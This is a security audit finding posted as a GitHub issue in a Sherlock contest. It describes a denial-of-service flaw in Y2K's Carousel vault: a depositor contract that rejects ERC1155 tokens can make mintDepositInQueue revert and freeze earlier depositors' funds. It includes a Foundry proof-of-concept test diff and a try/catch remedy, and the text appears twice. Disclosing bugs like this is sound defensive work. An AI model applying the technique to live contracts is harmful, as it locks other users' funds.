You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Oct 1, 2023. It is now read-only.
sherlock-admin opened this issue
Mar 27, 2023
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
An attacker can DOS Carousel.mintDepositQueue(), freezing tokens of all the previous deposits.
Summary
Due to the ERC1155 hook, Carousel.mintDepositInQueue() can be DOS, which freezes funds of all the previous deposits
Vulnerability Detail
Depositors can deposit at any time using epochId == 0 in deposit(), which transfers underlying tokens from the depositor into the Carousel, then records the deposit in the queue.
The deposits in the queue are then minted into the next available epoch by a relayer using mintDepositInQueue().
One important thing to note is that the function always handles the last deposit in the queue first, then handling previous deposits afterwards (FILO)
File: Earthquake/src/v2/Carousel/Carousel.sol
330: uint256 i = length -1;//@audit length = depositQueue.length331: while ((length - _operations) <= i) {
332: // this loop impelements FILO (first in last out) stack to reduce gas cost and improve code readability333: // changing it to FIFO (first in first out) would require more code changes and would be more expensive334: _mintShares(
335: queue[i].receiver,
336: _epochId,
337: queue[i].assets - relayerFee
338: );
_mintShares() mints shares to the depositor, in the form of an ERC1155 token. ERC1155._mint() has a safety hook to ensure the receiver handles this type of tokens:
This can be exploited by a depositor to DOS mintDepositQueue(): if the depositor is a smart contract that does not implement onERC1155Received() or revert when called, mintDepositQueue() will revert here.
Impact
mintDepositQueue() is DOSed.
Because it handles deposits in a FILO manner, this does not impact future deposits.
It however blocks all previous deposits from being handled.
This means these previous depositors have essentially lost their underlying tokens, as there is no way for them to retrieve them.
Proof Of Concept
This modification of Carousel.test.t.testDepositInQueue() shows the issue:
+ Attacker attacker;
function setUp() public {
+ attacker = new Attacker();
vm.warp(1675884389);
emissionsToken = address(new MintableToken("EmissionsToken", "etkn"));
UNDERLYING = address(new MintableToken("UnderLyingToken", "utkn"));
vault = new Carousel(
Carousel.ConstructorArgs(
false,
UNDERLYING,
"Vault",
"v",
"randomURI",
TOKEN,
STRIKE,
controller,
TREASURY,
emissionsToken,
relayerFee,
depositFee
)
);
// deal(UNDERLYING, address(this), 100 ether, true);
deal(UNDERLYING, USER, 1000 ether, true);
deal(UNDERLYING, USER2, 1000 ether, true);
deal(UNDERLYING, USER3, 1000 ether, true);
deal(UNDERLYING, USER4, 1000 ether, true);
deal(UNDERLYING, USER5, 1000 ether, true);
deal(UNDERLYING, USER6, 1000 ether, true);
}
function testDepositInQueue() public {
uint40 _epochBegin = uint40(block.timestamp + 1 days);
uint40 _epochEnd = uint40(block.timestamp + 2 days);
uint256 _epochId = 1;
uint256 _emissions = 100 ether;
deal(emissionsToken, address(vault), 100 ether, true);
vault.setEpoch(_epochBegin, _epochEnd, _epochId);
vault.setEmissions( _epochId, _emissions);
vm.startPrank(USER);
IERC20(UNDERLYING).approve(address(vault), 10 ether);
vault.deposit(0, 10 ether, USER);
vm.stopPrank();
uint256 _queueLength = 1;
assertEq(vault.getDepositQueueLenght(), _queueLength);
// test revert cases
// should revert if epochId is 0 as this epoch is not supposed to minted ever
vm.expectRevert(Carousel.InvalidEpochId.selector);
vault.mintDepositInQueue(0, _queueLength);
// @note deprecated test:
// should revert if operations are not in queue length
// vm.expectRevert(Carousel.OverflowQueue.selector);
// vault.mintDepositInQueue(_epochId, 2);
// should revert if epoch already started
vm.warp(_epochBegin + 100);
vm.expectRevert(VaultV2.EpochAlreadyStarted.selector);
vault.mintDepositInQueue(_epochId, 1);
vm.warp(_epochBegin - 1 days);
// should revert if epoch does not exist
vm.expectRevert(VaultV2.EpochDoesNotExist.selector);
vault.mintDepositInQueue(3, 1);
vm.startPrank(relayer);
// setting operations to 5 should still only mint 1 as queue length is 1
+ /*+ ATTACK BEGINNING+ */+ vm.stopPrank();+ vm.startPrank(USER);+ IERC20(UNDERLYING).transfer(address(attacker), 10 gwei);+ attacker.makeDeposit(address(vault));+ vm.expectRevert("ERC1155: transfer to non ERC1155Receiver implementer");
vault.mintDepositInQueue(_epochId, 5);
vm.stopPrank();
+ /*+ ATTACK ENDED+ */
Place the _mintShares() call in a try/catch block, so that one deposit in the queue cannot block others from being processed.
The catch block could write some info about the failed deposit in storage so that the depositor could get their shares in another manner, or could simply transfer the underlying tokens back to them.
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
joestakey
high
An attacker can DOS
Carousel.mintDepositQueue()
, freezing tokens of all the previous deposits.Summary
Due to the ERC1155 hook,
Carousel.mintDepositInQueue()
can be DOS, which freezes funds of all the previous depositsVulnerability Detail
Depositors can deposit at any time using
epochId == 0
indeposit()
, which transfers underlying tokens from the depositor into theCarousel
, then records the deposit in the queue.The deposits in the queue are then minted into the next available epoch by a relayer using
mintDepositInQueue()
.One important thing to note is that the function always handles the last deposit in the queue first, then handling previous deposits afterwards (FILO)
_mintShares()
mints shares to the depositor, in the form of an ERC1155 token.ERC1155._mint()
has a safety hook to ensure the receiver handles this type of tokens:This can be exploited by a depositor to DOS
mintDepositQueue()
: if the depositor is a smart contract that does not implementonERC1155Received()
or revert when called,mintDepositQueue()
will revert here.Impact
mintDepositQueue()
is DOSed.Because it handles deposits in a FILO manner, this does not impact future deposits.
It however blocks all previous deposits from being handled.
This means these previous depositors have essentially lost their underlying tokens, as there is no way for them to retrieve them.
Proof Of Concept
This modification of
Carousel.test.t.testDepositInQueue()
shows the issue:Add the
Attacker.sol
file to thetest
folder:Code Snippet
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L334-L338
Tool used
Manual Review, Foundry
Recommendation
Place the
_mintShares()
call in atry/catch
block, so that one deposit in the queue cannot block others from being processed.The
catch
block could write some info about the failed deposit in storage so that the depositor could get their shares in another manner, or could simply transfer the underlying tokens back to them.Duplicate of #468
The text was updated successfully, but these errors were encountered: